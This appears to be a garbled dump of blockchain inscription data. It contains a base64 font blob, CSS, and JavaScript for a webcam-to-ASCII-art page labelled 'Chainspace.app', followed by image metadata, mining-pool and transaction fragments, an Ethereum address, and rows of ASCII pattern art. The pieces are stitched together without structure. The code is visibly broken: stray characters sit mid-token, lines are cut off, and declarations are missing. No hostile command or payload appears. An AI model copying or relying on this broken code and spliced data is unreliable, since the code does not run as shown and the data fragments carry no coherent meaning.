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)
        format('woff');
      font-style: normal;
      text-align: center;
      overflow: hidden;
      background: #eaeaea;
      height: 100vh;
      display: flex;
      align-items: center;
      justify-content: center;
    body.mobile #text-video {
      margin-top: 0;
      font-family: 'Noto Mathcastles Remix', monospace;
      display: none;
      pointer-events: none;
      justify-content: center;
      align-items: center;
      transform: scaleX(-1);
      -webkit-transform: scaleX(-1);
      background: #252525;
      padding: 24px;
      font-size: 17px;
      display: flex;
      justify-content: center;
      transform: scaleX(-1);
      -webkit-transform: scaleX(-1);
      cursor: pointer;
      display: grid;
      margin: 0 auto;
      grid-gap: 0px;
      pointer-events: none;
      background: #fff;
      border: 1px solid #111;
      padding: 3px 10px;
      font-family: monospace;
      font-weight: 700;
      cursor: pointer;
      outline: inherit;
      border-radius: 3px;
      display: flex;
      flex-direction: column;
      align-items: center;
      justify-content: center;
      font-family: monospace;
      text-align: center;
      margin-top: 20px;
      margin-bottom: 4px;
      background: #222;
      border-radius: 20px;
      padding: 16px;
      box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
      margin-bottom: 16px;
      margin-bottom: 0;
      font-size: 13px;
    <div id="wrapper">
        <video id="video">Portal is closed.</video>
        <canvas id="canvas-video"></canvas>
        <div id="text-video"></div>
        <div id="header">
 You are Manny in Chainspace.app
      <button id="stop">!vibe</button>
      function run() {
        function isMobileDevice() {
            typeof window.orientation !== 'undefined' ||
            navigator.userAgent.indexOf('IEMobile') !== -1
        const video = document.getElementById('video')M
        video.setAttribute('autoplay', '');
        video.setAttribute('muted', '');
        video.setAttribute('playsinline', '');
        const textVideo = document.getElementById('text-video');
        const canvas = document.getElementById('canvas-video');
        const ctx = canvas.getContext('2d', { willReadFrequently: true });
        let cyclerEnabled = false;
        let cycler = 0;
        let isMobile = isMobileDevice();
        const colors = [
          '#402218',
          '#865439',
          '#C68B59',
          '#D7B19D',
          '#402218',
          '#865439',
          '#C68B59',
          '#D7B19D',
          '#402218',
        let running = true;
        function setCanvasSize() {
          w = Math.min(window.innerWidth, 450);
          h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);
          height = Math.floor(h / 10);
 = Math.floor(w / 6.9);
        let resizeTimeout;
        window.onresize = function () {
          clearTimeout(resizeTimeout);
          resizeTimeout = setTimeout(setCanvasSize, 100);
        const init = () => {
          setCanvasSize();
          document.body.classList.add(isMobile ? 'mobile' : null);
          navigator.mediaDevices
            .getUserMedia({ video: true, audio: false })
            .then(function (stream) {
              video.srcObject = stream;
            .catch(function (err) {
              running = false;
        const render = ctx => {
          if (width && height) {
            canvas.width = width;
            canvas.height = height;
            ctx.drawImage(video, 0, 0, width, height);
        const getPixelsGreyScale = ctx => {
          const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
          const data = imageData.data;
          let row = 0;M
          const res = new Array(height).fill(0).map(() => []);
          for (let i = 0, c = 0; i < data.length; i += 4) {
            const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
            let curr = res[row];
            curr.push(avg);
            if (c < width) {
            if (c === width) {
              c = 0;
              row += 1;
          if (isMobile) {
            return res.map(row =>
              row.slice(row.length / 4, rowM
.length - row.length / 4)
          return res;
        const getCharByScale = scale => {
          const val = Math.floor(((scale + cycler) / 255) * chars.length);
          return chars[val % chars.length];
        const getColorByScale = scale => {
          const val = Math.floor(((scale + cycler) / 255) * colors.length);
          return colors[val % colors.length];
        const renderText = (node, textDarkScale) => {
          let gap = isMobileM
          const gridElem = document.createElement('div');
          gridElem.className = 'grid';
          gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
          gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
          for (let i = 0; i < textDarkScale.length; i++) {
            for (let k = 0; k < textDarkScale[i].length; k++) {
              const textElem = document.createElement('p');
              textElem.style.color M
= getColorByScale(textDarkScale[i][k]);
              textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
              gridElem.appendChild(textElem);
          node.textContent = '';
          node.appendChild(gridElem);
        const frame = () =>
          requestAnimationFrame(() => {
            render(ctx);
            const chars = getPixelsGreyScale(ctx);
            renderText(textVideo, chars);
            if (running) {
              frame();
            if (cyclerEnabled) {
              cycler++;
        document.getElementById('stop').addEventListener('click', e => {
          running = !running;
          if (running) {
            frame();
        document.getElementById('text-video').onclick = () => {
          cyclerEnabled = !cyclerEnabled;
      window.addEventListener(
        'DOMContentLoaded',
2023-01-24T18:50:08+00:00g
2023-01-24T18:50:08+00:00
=,.$2I@LKG@FEPZsbPUmVEFd
;!!;|SFS||||||||||||||||||||||||||||||||||||||||||||||||||
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUM
VWXYZcdefghijstuvwxyz
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
XiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.5.0">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:exif="http://ns.adobe.com/exif/1.0/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mM
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
   exif:ColorSpace="1"
   exif:PixelXDimension="360"
   exif:PixelYDimension="360"
   photoshop:ColorMode="3"
   photoshop:ICCProfile="sRGB IEC61966-2.1"
   tiff:ImageLength="360"
   tiff:ImageWidth="360"
   tiff:ResolutionUnit="2"
   tiff:XResolution="72/1"
   tiff:YResolution="72/1"
   xmp:MetadataDate="2023-02-14T00:53:58+01:00"
   xmp:ModifyDate="2023-02-14T00:53:58+01:00">
      xmpMM:action="prM
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-11T22:31:19+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-12T20:26:37+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-13T19:37:29+01:00"/>
      stEvt:action="produced"
      stEvt:softwareAgent="Affinity Photo 1.10.5"
      stEvt:when="2023-02-14T00:53:58+01:0M
  </rdf:Description>
<?xpacket end="r"?>e
iCCPsRGB IEC61966-2.1
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
c/Foundry USA Pool #dropgold/
((((((((((((((((((((((((((((((((((((((((((((((((((
IjGREFUND:2EE28B3F4262B7DAD90551E6988F283D318049A86A00AA8C1ED857B454476F1C
FjDOUT:20E73FC345ECE5D8B9C91BD3BFEC37375AA1F4245ACD7D2972E52E3EC0AAF92A
<9"(.6GL-/2B<6,JGLIG
text/plain;charset=utf-8
Bj@=:ETH.ETH:0x87ABccA4063b7D2d5682Adc3595B69A77f014d3B:80913414::0
text/plain;charset=utf-8
-.|+.-..|+.-.|+.-.|+.-.-|+.-.|+.-.|+.-.|.+.-.|+.-.|+.-.|+-.-.|+.
..+....+--||.--|||..++...++-|||.-|||...++-..++|||..-||...+++-.++
|+-.-+.-.+.-.|+-.|+.-.+.-+.-..|+.|+-.-..-.+.+.|+..|+.-.+.-..+..|
+...+--.+-||+-||.--...||.....+++...--+++||+--..-||..||..+...++-.
..-+..|-..|-.+.|+|.-+..|+..|-.+.-.+.|+-.|+-..-|.|-.+.|++.|+-..+-
-.+-..--.--++-|+-|++||-||--|.-|.-|.-|..||.||..|..|.....+..++..+.
...-|-...-|-.+.-|-.+.-|-.+.||-.+.+.||+.+.|.+.+.|.-.+.|.-++.|.-+-
.+-.--.-.+-.--.-.+-.+..+.+-.+..+.++.+..+.++.+..+.+..+..+.+..+..+
|-.+.....-|--+-.....|.-+-.+.+.|.-|-.+.+...-|--+-+....|.-+-++.+.|
+-+-.--+-.-.+.+.+....|..|.|.|.-.-.-|-|+|++|+-+-.-.+.+.+....+....
.|.||-|-|--+-+-++|-|-|--+-+-++.+.+........|.|.|........|.|.||-|-
-|-|-+-.-.+.....|.|..-|-|+|+.-.+.+.+.|.|.|.--|+|+-+-+.+.+...|.|.
...+.+.--+-.|.-|.....+.+.--+-+|.-|.....+.+.+-+-+|.-|-....+.+.+-+
|-|-+-+-+.+....|.|-|++-..+...||.-||+--.++...|.|-|-+-+.+......|.|
+-+|.|..-+-.-...+-|-|...+.-|.|.+.-|+|.+.+-+|.|..-+-.-...+-|-|...
.|-||+--..+.||.|-+-+....|-.|++-+....|-.|++-+....|-||+.-+...||.|-
-|..+-|..++|..+-|..+-|-.+-.-.+-.-..-.-..-.|..-+|..-+|..-+|..-+|.
.||-||-+..|..|-+.++.||-||-......-++-++.||.||+..+..|-+|-+..||.||+
|.+-.+.-..-|.-|-.+||.-.|.+|.+-.+.-..+|.-|-.+||.-.|.+|.+-.+.-..+|
+...-++...|..|-++.||-++..+..||-+..||-+.-+...||+...|--|--+...-++.
.+-.+|.+|.-..+|.-|.-.+-.+|.+|.-.-.+|.+|.-..-.+|.+|.+-.+|.+|.-..-
-+...|-..||-++..||-++..||-++...||--+...||-+...||-+...||-+.|-++..
..+|.-|.-.-|.-..--.+-.+|+-.+|.+||.+|.-..|.-..-..+-.+|.+.+|.+|.-+
-..|||-++.--+....||..|||--+.--+.+...+...|||-+||-+++...+...|||-+.
|.-.+|..-|+|..+|+|..+|+-.++-.-.+.-.-...-..|.--|.|.++|.|.++|.+.+|
+++..-++..-+-+.---++|---+|-|-+.||-..|.|....|.....+....++...-+...
.+...-.-+|+|-.-...|..+.++-.--.+||.-..+...-.++|+--.-.|.|..+.++-.-
---.|||...-++.||-...+++.-|-...+.+.---.|.+...-++.||-...-++|||-...
.|..-.|++|+.-..+..+||.|-.--.++|+.|..-..-.|+||.--.++.+.|..|-.--|+
||.+.--...+-+||++.-|...--+..+++||...--...+-+|.+..||...--+..+.+||
+||++|..|-..||.--..--.++..++|+.||+.|..--..-..-+..-||++.|++|..||.
..++..++..++..++..++.||.+||.+||.+||.+||.+||-..--..--..--..--..--
